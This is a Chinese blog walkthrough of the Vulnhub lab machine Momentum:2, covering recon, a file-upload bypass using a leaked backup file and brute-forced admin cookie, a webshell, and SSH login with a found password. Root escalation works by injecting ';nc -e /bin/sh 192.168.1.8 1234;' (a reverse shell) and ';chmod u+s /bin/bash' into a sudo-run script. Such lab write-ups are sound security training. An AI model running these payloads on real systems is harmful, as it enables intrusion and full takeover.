【Vulnhub】Monmentum:2

【Vulnhub】Monmentum:2

Description

​ Keywords : curl, bash, code review

信息收集

fscan 扫描内网,确定目标IP为:192.168.1.5

image-20241122150919180

nmap 扫描目标全端口和服务

nmap -A -sV -p- 192.168.1.5

image-20241122151008408

确定目标开放端口 22、80

进入 80 服务web页面

image-20241122151107896

查看网站源码、开发工作台没结果

dirsearch 扫描

dirsearch -u http://192.168.1.5/

image-20241122153911708

首先是 /js/main.js

image-20241122155755659

这个 js 文件写了一个文件上传函数

根据 uploadFile 函数表明:

​ 文件通过 XMLHttpRequestmultipart/form-data 的形式上传至 ajax.php

​ 但是后端 ajax.php 可能做了文件类型的检查,通常检查文件扩展名、MIME 类型或文件内容。

然后是 /img/ 目录内保存了 80 端口主页的三个图片,猜测后续上传图片的话会上传到这里

然后看 /dashboard.html

image-20241122165702573

文件上传在这儿。。。页面还有一行提示“Upload Your Research File about Owls”

漏洞利用

抓包上传,response 返回值是 0,根据上面的 js 文件上传函数内容可以判断是“File not uploaded”

image-20241122165521646

这里尝试各种绕过测试

image-20241122165938521

修改 name 值直接不返回 response,然后尝试修改各种 filename 值的后缀,发现 txt 后缀上传成功

image-20241122170110695

进入 /owls/ 目录,看到成功上传的文件

image-20241122170444017

点开发现页面直接把 webshell 的代码打印出来了,说明 php 代码没有被解析,那么用 webshell 工具就连接不上了

image-20241122172037292

所以想想其他办法。。。

前面我们目录扫描的时候有发现 main.js 文件里提到过的 ajax.php 文件,当时点开发现是空白的,然后查看那个页面的源代码只有一个“1”

但是我们上传 php 后缀的文件是不成功的,而且前面提到过文件是可能经过 ajax.php 检查过的,那么 ajax.php 文件内容不会那么简单

再次用 dirsearch 扫描目标是否存在备份文件(筛选掉403状态请求)

dirsearch -u http://192.168.1.5/ -x 403 -f -e .php.bak,.zip,.tar,.7z

image-20241122173905181

发现 ajax.php.bak 文件

下载这个文件,去掉 bak 后缀,打开

image-20241122174110041

分析内容

表明,当 isset 值为 admin 或者 admin的 cookie 为 &G6u@B6uDXMq&Ms 的时候是可以上传 php 后缀的文件

否则只能上传 txt 后缀文件

ok

在我们之前的 request 请求包里面加 Cookie,但是上传还是失败了

image-20241122174910956

仔细看一下 ajax.php 文件内容,根据注释中的提示

1、COOKIE['admin']的值需要多加一个大写字母才能生效

2、还有要求添加额外的 POST 参数 secure 验证

image-20241122193457406

先枚举测试最后一个大写字母

image-20241122193534585

测试出来是R

image-20241122193555417

并且成功上传

Godzilla 连接

image-20241122194130492

查看用户

cat /etc/passwd

image-20241123100517805

发现有一个 athenax 用户

进入用户目录,拿到 user.txt 里的 flag

image-20241123112757947

在 athenax 用户目录中查看到还有一个文件 password-reminder.txt 文件

cat password-reminder.txt

image-20241123113111027

文件内容为:myvulnerableapp[Asterisk],猜测为该用户的密码

image-20241123121044164

所以 athena 的密码为 myvulnerableapp*

ssh连接成功

提权

查看用户权限

image-20241123123925535

测试,可以执行一个python脚本,并且查看了脚本内容

image-20241123124440634

分析这个 cookie-gen.py 代码。是一个cookie生成脚本,过程中有一个 input 的值会被 echo 到 log.txt 文件中,然后执行 bash 命令

那么再次执行脚本,将反弹shell代码输入进去

;nc -e /bin/sh 192.168.1.8 1234;

但是,我这里失败了。。。(一直显示连接中)

image-20241123233835096

尝试第二种方法

给 /bin/bash 增加 suid 权限,让普通用户临时拥有该文件的属主的执行权限

;chmod u+s /bin/bash

image-20241123234157780

成功后,直接执行 /bin/bash -p 获取 root 会话

image-20241123234246952

拿到 root 用户的 flag

image-20241123234317527

posted @ 2024-11-23 23:45  酷比灯  阅读(26)  评论(0)    收藏  举报